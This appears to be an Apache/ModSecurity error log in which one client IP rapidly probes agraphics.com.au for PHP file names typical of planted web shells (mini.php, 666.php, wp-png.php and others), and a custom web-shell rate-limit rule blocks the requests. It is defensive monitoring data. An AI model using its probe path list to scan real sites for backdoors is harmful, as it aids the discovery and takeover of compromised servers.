[Thu Apr 16 02:00:41.955048 2026] [:error] [pid 912:tid 986] [client 20.203.253.182:24332] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "ad_SScU0_VzYCBipADkzRgAAARI"]
[Thu Apr 16 02:00:42.650057 2026] [:error] [pid 792:tid 896] [client 20.203.253.182:54609] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "ad_SSt3PZ8z30TezIkZhSAAAANI"]
[Thu Apr 16 02:00:43.565504 2026] [:error] [pid 20548:tid 20563] [client 20.203.253.182:7203] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "ad_SS6kpqgnqCHq6bJa3wAAAAIw"]
[Thu Apr 16 02:00:44.270500 2026] [:error] [pid 20548:tid 20552] [client 20.203.253.182:36105] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "ad_STKkpqgnqCHq6bJa3xAAAAIE"]
[Thu Apr 16 02:00:45.060649 2026] [:error] [pid 912:tid 972] [client 20.203.253.182:27953] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad_STcU0_VzYCBipADkzTAAAAQQ"]
[Thu Apr 16 02:00:45.595200 2026] [:error] [pid 790:tid 821] [client 20.203.253.182:48432] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad_STSHz-rbrjNOa3VKpbQAAABA"]
[Thu Apr 16 02:00:46.197742 2026] [:error] [pid 790:tid 824] [client 20.203.253.182:54655] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad_STiHz-rbrjNOa3VKpcgAAABM"]
[Thu Apr 16 02:00:46.798766 2026] [:error] [pid 791:tid 847] [client 20.203.253.182:10693] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad_STrxl5Y18om2fepncEgAAAEc"]
[Thu Apr 16 02:00:47.510471 2026] [:error] [pid 54814:tid 54821] [client 20.203.253.182:37985] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "ad_STzrHu_-tAAe-BOWuhQAAAYE"]
[Thu Apr 16 02:00:48.202387 2026] [:error] [pid 20548:tid 20560] [client 20.203.253.182:22310] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "ad_SUKkpqgnqCHq6bJa30gAAAIk"]
[Thu Apr 16 02:00:48.875194 2026] [:error] [pid 20548:tid 20570] [client 20.203.253.182:3928] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "ad_SUKkpqgnqCHq6bJa31AAAAJM"]
[Thu Apr 16 02:00:50.091862 2026] [:error] [pid 20548:tid 20571] [client 20.203.253.182:54570] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "ad_SUqkpqgnqCHq6bJa34AAAAJQ"]
[Thu Apr 16 02:00:51.496543 2026] [:error] [pid 791:tid 849] [client 20.203.253.182:41027] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "ad_SU7xl5Y18om2fepncGQAAAEk"]
[Thu Apr 16 02:00:53.226092 2026] [:error] [pid 20548:tid 20573] [client 20.203.253.182:4070] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "ad_SVakpqgnqCHq6bJa36QAAAJY"]
[Thu Apr 16 02:00:54.592071 2026] [:error] [pid 54814:tid 54825] [client 20.203.253.182:22313] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "ad_SVjrHu_-tAAe-BOWulAAAAYU"]
[Thu Apr 16 02:00:55.898832 2026] [:error] [pid 54814:tid 54843] [client 20.203.253.182:3930] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "ad_SVzrHu_-tAAe-BOWunQAAAZc"]
[Thu Apr 16 02:00:58.150379 2026] [:error] [pid 34542:tid 34562] [client 20.203.253.182:9155] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "ad_SWgdF4OGi-asleB6M6gAAAVI"]
[Thu Apr 16 02:00:59.433983 2026] [:error] [pid 34542:tid 34566] [client 20.203.253.182:17639] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "ad_SWwdF4OGi-asleB6M7QAAAVY"]
[Thu Apr 16 02:01:01.715588 2026] [:error] [pid 791:tid 852] [client 20.203.253.182:15316] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "ad_SXbxl5Y18om2fepncKAAAAEw"]
[Thu Apr 16 02:01:03.182173 2026] [:error] [pid 54814:tid 54842] [client 20.203.253.182:13427] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "ad_SXzrHu_-tAAe-BOWurQAAAZY"]
[Thu Apr 16 02:01:04.368815 2026] [:error] [pid 912:tid 987] [client 20.203.253.182:17584] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad_SYMU0_VzYCBipADkzVAAAARM"]
[Thu Apr 16 02:01:05.221151 2026] [:error] [pid 34542:tid 34560] [client 20.203.253.182:19921] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad_SYQdF4OGi-asleB6M9gAAAVA"]
[Thu Apr 16 02:01:05.987402 2026] [:error] [pid 20548:tid 20567] [client 20.203.253.182:8741] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad_SYakpqgnqCHq6bJa4KQAAAJA"]
[Thu Apr 16 02:01:06.619165 2026] [:error] [pid 20548:tid 20564] [client 20.203.253.182:23363] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad_SYqkpqgnqCHq6bJa4KgAAAI0"]
[Thu Apr 16 02:01:07.625244 2026] [:error] [pid 912:tid 989] [client 20.203.253.182:40978] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad_SY8U0_VzYCBipADkzVQAAARU"]
[Thu Apr 16 02:01:08.323651 2026] [:error] [pid 20548:tid 20560] [client 20.203.253.182:8336] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad_SZKkpqgnqCHq6bJa4LwAAAIk"]
[Thu Apr 16 02:01:09.325733 2026] [:error] [pid 20548:tid 20554] [client 20.203.253.182:7688] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad_SZakpqgnqCHq6bJa4MwAAAIM"]
[Thu Apr 16 02:01:09.950839 2026] [:error] [pid 20548:tid 20559] [client 20.203.253.182:12126] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad_SZakpqgnqCHq6bJa4NwAAAIg"]
[Thu Apr 16 02:01:10.904890 2026] [:error] [pid 20548:tid 20556] [client 20.203.253.182:14864] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "ad_SZqkpqgnqCHq6bJa4PQAAAIU"]
[Thu Apr 16 02:01:11.800448 2026] [:error] [pid 34542:tid 34561] [client 20.203.253.182:19157] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "ad_SZwdF4OGi-asleB6M-QAAAVE"]
[Thu Apr 16 02:01:12.725268 2026] [:error] [pid 792:tid 877] [client 20.203.253.182:23399] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "ad_SaN3PZ8z30TezIkZhXAAAAMg"]
[Thu Apr 16 02:01:13.369655 2026] [proxy_fcgi:error] [pid 20548:tid 20573] [client 20.203.253.182:7735] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:01:13.618748 2026] [proxy_fcgi:error] [pid 20548:tid 20564] [client 20.203.253.182:7735] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:01:13.898942 2026] [proxy_fcgi:error] [pid 20548:tid 20571] [client 20.203.253.182:7735] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:01:14.242716 2026] [proxy_fcgi:error] [pid 20548:tid 20570] [client 20.203.253.182:7735] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:01:14.483184 2026] [proxy_fcgi:error] [pid 20548:tid 20553] [client 20.203.253.182:7735] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:01:14.723194 2026] [proxy_fcgi:error] [pid 20548:tid 20560] [client 20.203.253.182:7735] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:01:15.002777 2026] [proxy_fcgi:error] [pid 20548:tid 20563] [client 20.203.253.182:7735] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:01:15.404605 2026] [proxy_fcgi:error] [pid 20548:tid 20574] [client 20.203.253.182:7735] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:01:15.648035 2026] [proxy_fcgi:error] [pid 20548:tid 20573] [client 20.203.253.182:7735] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:01:15.924962 2026] [proxy_fcgi:error] [pid 20548:tid 20567] [client 20.203.253.182:7735] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:01:16.166770 2026] [proxy_fcgi:error] [pid 20548:tid 20564] [client 20.203.253.182:7735] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 02:01:16.564596 2026] [:error] [pid 20548:tid 20561] [client 20.203.253.182:7735] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad_SbKkpqgnqCHq6bJa4XwAAAIo"]
[Thu Apr 16 02:01:17.417105 2026] [:error] [pid 790:tid 796] [client 20.203.253.182:40997] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad_SbSHz-rbrjNOa3VKpfgAAAAI"]
[Thu Apr 16 02:01:19.652936 2026] [:error] [pid 54814:tid 54831] [client 20.203.253.182:8359] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad_SbzrHu_-tAAe-BOWuwQAAAYs"]
[Thu Apr 16 02:01:23.604707 2026] [:error] [pid 20548:tid 20567] [client 20.203.253.182:17210] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad_Sc6kpqgnqCHq6bJa4awAAAJA"]
[Thu Apr 16 02:01:26.812438 2026] [:error] [pid 54814:tid 54832] [client 20.203.253.182:24959] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "ad_SdjrHu_-tAAe-BOWuzgAAAYw"]
[Thu Apr 16 02:01:29.394151 2026] [:error] [pid 20548:tid 20551] [client 20.203.253.182:17181] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "ad_SeakpqgnqCHq6bJa4dgAAAIA"]
[Thu Apr 16 02:01:30.966047 2026] [:error] [pid 34542:tid 34552] [client 20.203.253.182:47317] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "ad_SegdF4OGi-asleB6NYwAAAUg"]
[Thu Apr 16 02:01:31.851743 2026] [:error] [pid 54814:tid 54829] [client 20.203.253.182:53303] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "ad_SezrHu_-tAAe-BOWu2QAAAYk"]
[Thu Apr 16 02:01:32.654524 2026] [:error] [pid 34542:tid 34563] [client 20.203.253.182:53283] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "ad_SfAdF4OGi-asleB6NZQAAAVM"]
[Thu Apr 16 02:01:33.622902 2026] [:error] [pid 912:tid 989] [client 20.203.253.182:24903] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "ad_SfcU0_VzYCBipADkzbgAAARU"]
[Thu Apr 16 02:01:34.437871 2026] [:error] [pid 20548:tid 20575] [client 20.203.253.182:14516] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "ad_SfqkpqgnqCHq6bJa4fgAAAJg"]
[Thu Apr 16 02:01:36.077529 2026] [:error] [pid 34542:tid 34562] [client 20.203.253.182:53686] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "ad_SgAdF4OGi-asleB6NbgAAAVI"]
[Thu Apr 16 02:01:37.454903 2026] [:error] [pid 34542:tid 34552] [client 20.203.253.182:53649] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad_SgQdF4OGi-asleB6NdAAAAUg"]
[Thu Apr 16 02:01:38.559307 2026] [:error] [pid 20548:tid 20552] [client 20.203.253.182:23813] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad_SgqkpqgnqCHq6bJa4kgAAAIE"]
[Thu Apr 16 02:01:40.264330 2026] [:error] [pid 20548:tid 20563] [client 20.203.253.182:21273] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad_ShKkpqgnqCHq6bJa4mAAAAIw"]
[Thu Apr 16 02:01:42.666428 2026] [:error] [pid 912:tid 984] [client 20.203.253.182:7460] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad_ShsU0_VzYCBipADkzcwAAARA"]
[Thu Apr 16 02:01:48.252747 2026] [:error] [pid 792:tid 904] [client 20.203.253.182:13005] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad_SjN3PZ8z30TezIkZhdQAAANY"]
[Thu Apr 16 02:01:49.305319 2026] [:error] [pid 20548:tid 20564] [client 20.203.253.182:53353] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad_SjakpqgnqCHq6bJa4vwAAAI0"]
[Thu Apr 16 02:01:50.110004 2026] [:error] [pid 34542:tid 34561] [client 20.203.253.182:37313] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad_SjgdF4OGi-asleB6N3AAAAVE"]
[Thu Apr 16 02:01:51.027707 2026] [:error] [pid 54814:tid 54842] [client 20.203.253.182:18417] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad_SjzrHu_-tAAe-BOWvHgAAAZY"]
[Thu Apr 16 02:01:52.390999 2026] [:error] [pid 790:tid 826] [client 20.203.253.182:17269] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "ad_SkCHz-rbrjNOa3VKpiAAAABU"]
[Thu Apr 16 02:01:53.512276 2026] [:error] [pid 20548:tid 20570] [client 20.203.253.182:12575] [client 20.203.253.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "ad_SkakpqgnqCHq6bJa4xwAAAJM"]
